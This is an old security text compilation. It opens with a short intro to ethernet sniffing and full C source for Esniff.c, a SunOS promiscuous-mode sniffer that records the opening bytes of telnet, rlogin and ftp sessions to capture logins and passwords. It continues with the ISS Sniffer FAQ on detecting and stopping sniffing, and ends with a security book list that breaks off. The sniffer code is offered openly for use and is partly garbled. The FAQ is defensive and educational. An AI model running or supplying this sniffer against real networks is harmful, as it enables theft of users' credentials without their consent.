Princeton University, 35 Olden Street, Princeton NJ 08544. __________________________________________________________________________ Ether sniffing: Well, ONE way to sniff ether anyway ;) What is ethernet sniffing? Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like \"login\" or \"password.\" Many ethernet sniffers are available, here are a few that may be on your system now: OS Sniffer ~~ ~~~~~~~ HP\/UX nettl (monitor) & netfmt (display) nfswatch \/* Available via anonymous ftp *\/ Irix nfswatch \/* Available via anonymous ftp *\/ Etherman SunOS etherfind nfswatch \/* Available via anonymous ftp *\/ Solaris snoop DOS ETHLOAD \/* Available via anonymous ftp as *\/ \/* ethld104.zip *\/ The Gobbler \/* Available via anonymous ftp *\/ LanPatrol LanWatch Netmon Netwatch Netzhack \/* Available via anonymous ftp at *\/ \/* mistress.informatik.unibw-muenchen.de *\/ \/* \/pub\/netzhack.mac *\/ Macintosh Etherpeek Here is source code for an ethernet sniffer: \/* Esniff.c *\/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV \"\/dev\/nit\" #define CHUNKSIZE 4096 \/* device buffer size *\/ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; \/* start time *\/ struct in_addr SRCip, DSTip; u_int SRCport, \/* src\/dst ports *\/ DSTport; u_char Data[MAXBUFLEN+2]; \/* important stuff :-) *\/ u_int Length; \/* current data length *\/ u_int PKcnt; \/* # pkts *\/ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p=\"rlogin\"; break; case IPPORT_TELNET: p=\"telnet\"; break; case IPPORT_SMTP: p=\"smtp\"; break; case IPPORT_FTP: p=\"ftp\"; break; default: sprintf(buf,\"%u\",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; \/* strip \" YYYY\\n\" *\/ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) \/* add an item *\/ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \\ register struct CREC *CLtmp = \\ (struct CREC *)malloc(sizeof(struct CREC)); \\ time( &(CLtmp->Time) ); \\ CLtmp->SRCip.s_addr = SIP.s_addr; \\ CLtmp->DSTip.s_addr = DIP.s_addr; \\ CLtmp->SRCport = SPORT; \\ CLtmp->DSTport = DPORT; \\ CLtmp->Length = MIN(LEN,MAXBUFLEN); \\ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \\ CLtmp->PKcnt = 1; \\ CLtmp->Next = CLroot; \\ CLtmp->Last = NULL; \\ CLroot = CLtmp; \\ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \\ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \\ CL->Length += LEN; \\ } #define PR_DATA(dp,ln) { \\ register u_char lastc=0; \\ while(ln-- >0) { \\ if(*dp < 32) { \\ switch(*dp) { \\ case '\\0': if((lastc=='\\r') || (lastc=='\\n') || lastc=='\\0') \\ break; \\ case '\\r': \\ case '\\n': fprintf(LOG,\"\\n : \"); \\ break; \\ default : fprintf(LOG,\"^%c\", (*dp + 64)); \\ break; \\ } \\ } else { \\ if(isprint(*dp)) fputc(*dp,LOG); \\ else fprintf(LOG,\"(%d)\",*dp); \\ } \\ lastc = *dp++; \\ } \\ fflush(LOG); \\ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,\"\\n-- TCP\/IP LOG -- TM: %s --\\n\", Ptm(&CLe->Time)); fprintf(LOG,\" PATH: %s(%s) =>\", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG,\" %s(%s)\\n\", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG,\" STAT: %s, %d pkts, %d bytes [%s]\\n\", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG,\" DATA: \"); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,\"\\n-- \\n\"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } \/* 30 mins (x 60 seconds) *\/ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \\ time_t tm; \\ time(&tm); \\ if(LastTIMENext; \\ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) \/* chuk it if its not IP *\/ return; } \/* ugh, gotta do an alignment :-( *\/ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) \/* chuk non tcp pkts *\/ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,\"PKT: (%s %04X) \", TCPflags(tcph->th_flags),length); fprintf(LOG,\"%s[%s] => \", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,\"%s[%s]\\n\", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, \"DATA LIMIT\"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?\"TH_FIN\":\"TH_RST\" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } \/* signal handler *\/ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, \"SIGNAL\"); fprintf(LOG,\"\\nLog ended at => %s\\n\",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } \/* opens network interface, performs ioctls and reads from it, * passing data to filter function *\/ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,\"Eth: malloc\"); \/* this \/dev\/nit initialization code pinched from etherfind *\/ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,\"Eth: nit open\"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,\"Eth: ioctl (I_SRDOPT)\"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, \"nbuf\") < 0) Pexit(1,\"Eth: ioctl (I_PUSH \\\"nbuf\\\")\"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,\"Eth: ioctl (I_STR: NIOCSTIME)\"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,\"Eth: ioctl (I_STR: NIOCSCHUNK)\"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,\"Eth: ioctl (I_STR: NIOCBIND)\"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,\"Eth: ioctl (I_STR: NIOCSFLAGS)\"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,\"Eth: ioctl (I_FLUSH)\"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),\"Eth: read\"); } \/* Authorize your proogie,generate your own password and uncomment here *\/ \/* #define AUTHPASSWD \"EloiZgZejWyms\" *\/ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,\"(%s)UP? \",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } *\/ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; \/* getauth(); *\/ LOG=NULL; device=NULL; while((acifr_name; } fprintf(ERR,\"Using logical device %s [%s]\\n\",device,NIT_DEV); fprintf(ERR,\"Output to %s.%s%s\",(LOG)?LogName:\"stdout\", (debug)?\" (debug)\":\"\",(backg)?\" Backgrounding \":\"\\n\"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,\"[Cannot bg with debug on]\\n\"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,\"[pid %d]\\n\",s); exit(0); } else if(s<0) Pexit(1,\"fork\"); if( (s=open(\"\/dev\/tty\",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,\"\\nLog started at => %s [pid %d]\\n\",NOWtm(),getpid()); fflush(LOG); do_it(); } ___________________________________________________________________________ Sniffer FAQ: Sniffer FAQ Version: 1.7 ------------------------------------------------------------------------------- This Security FAQ is a resource provided by: Internet Security Systems, Inc. 2000 Miller Court West Tel: (770) 441-2531 Norcross, Georgia 30071 Fax: (770) 441-2431 - Internet Scanner ... the most comprehensive \"attack simulator\" available. - ------------------------------------------------------------------------------- To get the newest updates of Security files check the following services: mail info@iss.net with \"send index\" in message http:\/\/iss.net\/ ftp iss.net \/pub\/ ------------------------------------------------------------------------------- This Sniffer FAQ will hopefully give administrators a clear understanding of sniffing problems and hopefully possible solutions to follow up with. Sniffers is one of the main causes of mass break-ins on the Internet today. This FAQ will be broken down into: * What a sniffer is and how it works * Where are sniffers available * How to detect if a machine is being sniffed * Stopping sniffing attacks: o Active hubs o Encryption o Kerberos o One-time password technology o Non-promiscuous interfaces ------------------------------------------------------------------------------- What a sniffer is and how it works Unlike telephone circuits, computer networks are shared communication channels. It is simply too expensive to dedicate local loops to the switch (hub) for each pair of communicating computers. Sharing means that computers can receive information that was intended for other machines. To capture the information going over the network is called sniffing. Most popular way of connecting computers is through ethernet. Ethernet protocol works by sending packet information to all the hosts on the same circuit. The packet header contains the proper address of the destination machine. Only the machine with the matching address is suppose to accept the packet. A machine that is accepting all packets, no matter what the packet header says, is said to be in promiscuous mode. Because, in a normal networking environment, account and password information is passed along ethernet in clear-text, it is not hard for an intruder once they obtain root to put a machine into promiscuous mode and by sniffing, compromise all the machines on the net. ------------------------------------------------------------------------------- Where are sniffers available Sniffing is one of the most popular forms of attacks used by hackers. One special sniffer, called Esniff.c, is very small, designed to work on Sunos, and only captures the first 300 bytes of all telnet, ftp, and rlogin sessions. It was published in Phrack, one of the most widely read freely available underground hacking magazines. You can find Phrack on many FTP sites. Esniff.c is also available on many FTP sites such as coombs.anu.edu.au:\/pub\/net\/log. You may want to run Esniff.c on an authorized network to quickly see how effective it is in compromising local machines. Other sniffers that are widely available which are intended to debug network problems are: * Etherfind on SunOs4.1.x * Snoop on Solaris 2.x and SunOs 4.1 (on ftp playground.sun.com) * Tcpdump 3.0 uses bpf for a multitude of platforms. * Packetman, Interman, Etherman, Loadman works on the following platforms: SunOS, Dec-Mips, SGI, Alpha, and Solaris. It is available on ftp.cs.curtin.edu.au:\/pub\/netman\/[sun4c|dec-mips|sgi|alpha|solaris2]\/ [etherman-1.1a|interman-1.1|loadman-1.0|packetman-1.1].tar.Z Packetman was designed to capture packets, while Interman, Etherman, and Loadman monitor traffic of various kinds. DOS based sniffers * Gobbler for IBM DOS Machines * ethdump v1.03 Available on ftp ftp.germany.eu.net:\/pub\/networking\/inet\/ethernet\/ethdp103.zip * ethload v1.04 Companion utility to a ethernet monitor. Available on ftp ftp.germany.eu.net:\/pub\/networking\/monitoring\/ethload\/ethld104.zip Commercial Sniffers are available at: * Network General. Network General produces a number of products. The most important are the Expert Sniffer, which not only sniffs on the wire, but also runs the packet through a high-performance expert system, diagnosing problems for you. There is an extension onto this called the \"Distributed Sniffer System\" that allows you to put the console to the expert sniffer on you Unix workstation and to distribute the collection agents at remote sites. * Microsoft's Net Monitor \" My commercial site runs many protocols on one wire - NetBeui, IPX\/SPX, TCP\/IP, 802.3 protocols of various flavors, most notably SNA. This posed a big problem when trying to find a sniffer to examine the network problems we were having, since I found that some sniffers that understood Ethernet II parse out some 802.3 traffic as bad packets, and vice versa. I found that the best protocol parser was in Microsoft's Net Monitor product, also known as Bloodhound in its earlier incarnations. It is able to correctly identify such oddities as NetWare control packets, NT NetBios name service broadcasts, etc, which etherfind on a Sun simply registered as type 0000 packet broadcasts. It requires MS Windows 3.1 and runs quite fast on a HP XP60 Pentium box. Top level monitoring provides network statistics and information on conversations by mac address (or hostname, if you bother with an ethers file). Looking at tcpdump style details is as simple as clicking on a conversation. The filter setup is also one of the easiest to implement that I've seen, just click in a dialog box on the hosts you want to monitor. The number of bad packets it reports on my network is a tiny fraction of that reported by other sniffers I've used. One of these other sniffers in particular was reporting a large number of bad packets with src mac addresses of aa:aa:aa:aa:aa:aa but I don't see them at all using the MS product. - Anonymous ------------------------------------------------------------------------------- How to detect a sniffer running. To detect a sniffing device that only collects data and does not respond to any of the information, requires physically checking all your ethernet connections by walking around and checking the ethernet connections individually. It is also impossible to remotely check by sending a packet or ping if a machine is sniffing. A sniffer running on a machine puts the interface into promiscuous mode, which accepts all the packets. On some Unix boxes, it is possible to detect a promiscuous interface. It is possible to run a sniffer in non-promiscuous mode, but it will only capture sessions from the machine it is running on. It is also possible for the intruder to do similiar capture of sessions by trojaning many programs such as sh, telnet, rlogin, in.telnetd, and so on to write a log file of what the user did. They can easily watch the tty and kmem devices as well. These attacks will only compromise sessions coming from that one machine, while promiscuous sniffing compromises all sessions on the ethernet. For SunOs, NetBSD, and other possible BSD derived Unix systems, there is a command \"ifconfig -a\" that will tell you information about all the interfaces and if they are in promiscuous mode. DEC OSF\/1 and IRIX and possible other OSes require the device to be specified. One way to find out what interface is on the system, you can execute: # netstat -r Routing tables Internet: Destination Gateway Flags Refs Use Interface default iss.net UG 1 24949 le0 localhost localhost UH 2 83 lo0 Then you can test for each interface by doing the following command: #ifconfig le0 le0: flags=8863<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,MULTICAST> inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1 Intruders often replace commands such as ifconfig to avoid detection. Make sure you verify its checksum. There is a program called cpm available on ftp.cert.org:\/pub\/tools\/cpm that only works on Sunos and is suppose to check the interface for promiscuous flag. Ultrix can possibly detect someone running a sniffer by using the commands pfstat and pfconfig. pfconfig allows you to set who can run a sniffer pfstat shows you if the interface is in promiscuous mode. These commands only work if sniffing is enabled by linking it into the kernel. by default, the sniffer is not linked into the kernel. Most other Unix systems, such as Irix, Solaris, SCO, etc, do not have any flags indication whether they are in promiscuous mode or not, therefore an intruder could be sniffing your whole network and there is no way to detect it. Often a sniffer log becomes so large that the file space is all used up. On a high volume network, a sniffer will create a large load on the machine. These sometimes trigger enough alarms that the administrator will discover a sniffer. I highly suggest using lsof (LiSt Open Files) available from coast.cs.purdue.edu:\/pub\/Purdue\/lsof for finding log files and finding programs that are accessing the packet device such as \/dev\/nit on SunOs. There is no commands I know of to detect a promiscuous IBM PC compatible machine, but they atleast usually do not allow command execution unless from the console, therefore remote intruders can not turn a PC machine into a sniffer without inside assistance. ------------------------------------------------------------------------------- Stopping sniffing attacks Active hubs send to each system only packets intended for it rendering promiscuous sniffing useless. This is only effective for 10-Base T. The following vendors have available active hubs: * 3Com * HP ------------------------------------------------------------------------------- Encryption There are several packages out there that allow encryption between connections therefore an intruder could capture the data, but could not decypher it to make any use of it. Some packages available are: * deslogin is one package available at ftp coast.cs.purdue.edu:\/pub\/tools\/unix\/deslogin . * swIPe is another package available at ftp.csua.berkeley.edu:\/pub\/cypherpunks\/swIPe\/ * Netlock encrypts all (tcp, udp, and raw ip based) communications transparently. It has automatic (authenticated Diffie-Helman) distibuted key management mechanism for each host and runs on the SUN 4.1 and HP 9.x systems. The product comes with a Certification Authority Management application which generates host certificates (X.509) used for authentication between the hosts. and provides centralized control of each Hosts communications rules. The product is built by Hughes Aircraft and they can be reached at 800-825-LOCK or email at netlock@mls.hac.com. ------------------------------------------------------------------------------- Kerberos Kerberos is another package that encrypts account information going over the network. Some of its draw backs are that all the account information is held on one host and if that machine is compromised, the whole network is vulnerable. It is has been reported a major difficulty to set up. Kerberos comes with a stream-encrypting rlogind, and stream-encrypting telnetd is available. This prevents intruders from capturing what you did after you logged in. There is a Kerberos FAQ at ftp at rtfm.mit.edu in \/pub\/usenet\/comp.protocols\/kerberos\/Kerberos_Users__Frequently_Asked_Questions_1.11 ------------------------------------------------------------------------------- One time password technology S\/key and other one time password technology makes sniffing account information almost useless. S\/key concept is having your remote host already know a password that is not going to go over insecure channels and when you connect, you get a challenge. You take the challenge information and password and plug it into an algorithm which generates the response that should get the same answer if the password is the same on the both sides. Therefore the password never goes over the network, nor is the same challenge used twice. Unlike SecureID or SNK, with S\/key you do not share a secret with the host. S\/key is available on ftp:thumper.bellcore.com:\/pub\/nmh\/skey Other one time password technology is card systems where each user gets a card that generates numbers that allow access to their account. Without the card, it is improbable to guess the numbers. The following are companies that offer solutions that are provide better password authenication (ie, handheld password devices): Secure Net Key (SNK) Digital Pathways, Inc. 201 Ravendale Dr. Mountainview, Ca. 97703-5216 USA Phone: 415-964-0707 Fax: (415) 961-7487 Secure ID Security Dynamics, One Alewife Center Cambridge, MA 02140-2312 USA Phone: 617-547-7820 Fax: (617) 354-8836 Secure ID uses time slots as authenication rather than challenge\/response. ArKey and OneTime Pass Management Analytics PO Box 1480 Hudson, OH 44236 Email: fc@all.net Tel:US+216-686-0090 Fax: US+216-686-0092 OneTime Pass (OTP): This program provides unrestricted one-time pass codes on a user by user basis without any need for cryptographic protocols or hardware devices. The user takes a list of usable pass codes and scratches out each one as it is used. The system tracks usage, removing each passcode from the available list when it is used. Comes with a very small and fast password tester and password and pass phrase generation systems. ArKey: This is the original Argued Key system that mutually authenticates users and systems to each other based on their common knowledge. No hardware necessary. Comes with a very small and fast password tester and password and pass phrase generation systems. WatchWord and WatchWord II Racal-Guardata 480 Spring Park Place Herndon, VA 22070 703-471-0892 1-800-521-6261 ext 217 CRYPTOCard Arnold Consulting, Inc. 2530 Targhee Street, Madison, Wisconsin 53711-5491 U.S.A. Phone : 608-278-7700 Fax: 608-278-7701 Email: Stephen.L.Arnold@Arnold.Com CRYPTOCard is a modern, SecureID-sized, SNK-compatible device. SafeWord Enigma Logic, Inc. 2151 Salvio #301 Concord, CA 94520 510-827-5707 Fax: (510)827-2593 For information about Enigma ftp to: ftp.netcom.com in directory \/pub\/sa\/safeword Secure Computing Corporation: 2675 Long Lake Road Roseville, MN 55113 Tel: (612) 628-2700 Fax: (612) 628-2701 debernar@sctc.com ------------------------------------------------------------------------------- Non-promiscuous Interfaces You can try to make sure that most IBM DOS compatible machines have interfaces that will not allow sniffing. Here is a list of cards that do not support promiscuous mode: Test the interface for promiscuous mode by using the Gobbler. If you find a interface that does do promiscuous mode and it is listed here, please e-mail cklaus@iss.net so I can remove it ASAP. IBM Token-Ring Network PC Adapter IBM Token-Ring Network PC Adapter II (short card) IBM Token-Ring Network PC Adapter II (long card) IBM Token-Ring Network 16\/4 Adapter IBM Token-Ring Network PC Adapter\/A IBM Token-Ring Network 16\/4 Adapter\/A IBM Token-Ring Network 16\/4 Busmaster Server Adapter\/A The following cards are rumoured to be unable to go into promiscuous mode, but that the veracity of those rumours is doubtful. Microdyne (Excelan) EXOS 205 Microdyne (Excelan) EXOS 205T Microdyne (Excelan) EXOS 205T\/16 Hewlett-Packard 27250A EtherTwist PC LAN Adapter Card\/8 Hewlett-Packard 27245A EtherTwist PC LAN Adapter Card\/8 Hewlett-Packard 27247A EtherTwist PC LAN Adapter Card\/16 Hewlett-Packard 27248A EtherTwist EISA PC LAN Adapter Card\/32 HP 27247B EtherTwist Adapter Card\/16 TP Plus HP 27252A EtherTwist Adapter Card\/16 TP Plus HP J2405A EtherTwist PC LAN Adapter NC\/16 TP Adapters based upon the TROPIC chipset generally do not support promiscuous mode. The TROPIC chipset is used in IBM's Token Ring adapters such as the 16\/4 adapter. Other vendors (notably 3Com) also supply TROPIC based adapters. TROPIC-based adapters do accept special EPROMs, however, that will allow them to go into promiscuous mode. However, when in promiscuous mode, these adapters will spit out a \"Trace Tool Present\" frame. ------------------------------------------------------------------------------- Acknowledgements I would like to thank the following people for the contribution to this FAQ that has helped to update and shape it: * Padgett Peterson (padgett@tccslr.dnet.mmc.com) * Steven Bellovin (smb@research.att.com) * Wietse Venema (wietse@wzv.win.tue.nl) * Robert D. Graham (robg@NGC.COM) * Kevin Martinez (kevinm@beavis.qntm.com) * Frederick B. Cohen (fc@all.net) * James Bonfield (jkb@mrc-lmb.cam.ac.uk) * Marc Horowitz (marc@MIT.EDU) * Steve Edwards (steve@newline.com) * Andy Poling (Andy.Poling@jhu.edu) * Jeff Collyer (jeff@cnet-pnw.com) * Sara Gordon (sgordon@sun1.iusb.indiana.edu) ------------------------------------------------------------------------------- Copyright This paper is Copyright (c) 1994, 1995 by Christopher Klaus of Internet Security Systems, Inc. Permission is hereby granted to give away free copies electronically. You may distribute, transfer, or spread this paper electronically. You may not pretend that you wrote it. This copyright notice must be maintained in any copy made. If you wish to reprint the whole or any part of this paper in any other medium (ie magazines, books, etc) excluding electronic medium, please ask the author for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Address of Author Please send suggestions, updates, and comments to: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc. <iss@iss.net> Internet Security Systems, Inc. Internet Security Systems, Inc, located in Atlanta, Ga., specializes in the developement of security scanning software tools. Its flagship product, Internet Scanner, is software that learns an organization's network and probes every device on that network for security holes. It is the most comprehensive \"attack simulator\" available, checking for over 100 security vulnerabilities. -- Christopher William Klaus Voice: (404)441-2531. Fax: (404)441-2431 Internet Security Systems, Inc. Computer Security Consulting 2000 Miller Court West, Norcross, GA 30071 __________________________________________________________________________ Books to check out: I am adding these books because I have a text file that lists all of these with a review. General Computer Security ~~~~~~~~~~~~~~~~~~~~~~~~~ Computer Security Basics Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-71-4 This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert. Computer Security Management Author: Karen Forcht Publisher: Boyd and Fraser Copyright Date: 1994 ISBN: 0-87835-881-1 Information Systems Security Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold Copyright Date: 1993 ISBN: 0-442-00180-0 Computer Related Risks Author: Peter G. Neumann Publisher: Addison-Wesley Copyright Date: 1995 ISBN: 0-201-55805-X Computer Security Management Author: Karen Forcht Publisher: boyd & fraser publishing company Copyright Date: 1994 ISBN: 0-87835-881-1 N The Stephen Cobb Complete Book of PC and LAN Security Author: Stephen Cobb Publisher: Windcrest Books Copyright Date: 1992 ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback) N Security in Computing Author: Charles P. Pfleeger Publisher: Prentice Hall Copyright Date: 1989 ISBN: 0-13-798943-1. N Building a Secure Computer System Author: Morrie Gasser Publisher: Van Nostrand Reinhold Co., New York. Copyright Date: ISBN: 0-442-23022-2 N Modern Methods for Computer Security Author: Lance Hoffman Publisher: Prentice Hall Copyright Date: 1977 ISBN: N Windows NT 3.5 Guidelines for Security, Audit and Control Author: Publisher: Microsoft Press Copyright Date: ISBN: 1-55615-814-9 Unix System Security ~~~~~~~~~~~~~~~~~~~~ Practical Unix Security Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-72-2 Finally someone with a very firm grasp of Unix system security gets down to writing a book on the subject. Buy this book. Read this book. Firewalls and Internet Security Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley Copyright Date: 1994 ISBN: 0-201-63357-4 Unix System Security Author: Rik Farrow Publisher: Addison Wesley Copyright Date: 1991 ISBN: 0-201-57030-0 Unix Security: A Practical Tutorial Author: N. Derek Arnold Publisher: McGraw Hill Copyright Date: 1993 ISBN: 0-07-002560-6 Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry Publisher: Addison-Wesley Copyright Date: 1992 ISBN: 0-201-56327-4 Unix System Security Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books Copyright Date: 1985 ISBN: 0-672-48494-3 Unix Security for the Organization Author: Richard Bryant Publisher: Sams Copyright Date: 1994 ISBN: 0-672-30571-2 Network Security ~~~~~~~~~~~~~~~~ Network Security Secrets Author: David J. Stang and Sylvia Moon Publisher: IDG Books Copyright Date: 1993 ISBN: 1-56884-021-7 Not a total waste of paper, but definitely not worth the49.95 purchase price. The book is a rehash of previously\npublished information. The only secret we learn from reading\nthe book is that Sylvia Moon is a younger woman madly in love\nwith the older David Stang.\n\nComplete Lan Security and Control\nAuthor: Peter Davis\nPublisher: Windcrest \/ McGraw Hill\nISBN: 0-8306-4548-9 and 0-8306-4549-7\n\nNetwork Security\nAuthor: Steven Shaffer and Alan Simon\nPublisher: AP Professional\nISBN: 0-12-638010-4\n\nCryptography\n~~~~~~~~~~~~\n\nApplied Cryptography: Protocols, Algorithms, and Source Code in C\nAuthor: Bruce Schneier\nPublisher: John Wiley & Sons\nISBN: 0-471-59756-2\n\nBruce Schneier's book replaces all other texts on\ncryptography. If you are interested in cryptography, this is\na must read. This may be the first and last book on\ncryptography you may ever need to buy.\n\nCryptography and Data Security\nAuthor: Dorothy Denning\nISBN: 0-201-10150-5\n\nProtect Your Privacy: A Guide for PGP Users\nAuthor: William Stallings\nPublisher: Prentice-Hall\nISBN: 0-13-185596-4\n\nProgrammed Threats\n~~~~~~~~~~~~~~~~~~\n\nThe Little Black Book of Computer Viruses\nAuthor: Mark Ludwig\nPublisher: American Eagle Publications\nISBN: 0-929408-02-0\n\nThe original, and still the best, book on computer viruses.\nNo media hype here, just good clean technical information.\n\nComputer Viruses, Artificial Life and Evolution\nAuthor: Mark Ludwig\nPublisher: American Eagle Publications\nISBN: 0-929408-07-1\n\nComputer Viruses, Worms, Data Diddlers, Killer Programs, and Other\nAuthor: John McAfee and Colin Haynes\nPublisher: St. Martin's Press\nISBN: 0-312-03064-9 and 0-312-02889-X\n\nThe Virus Creation Labs: A Journey Into the Underground\nAuthor: George Smith\nPublisher: American Eagle Publications\nISBN:\n\nTelephony\n~~~~~~~~~\n\nEngineering and Operations in the Bell 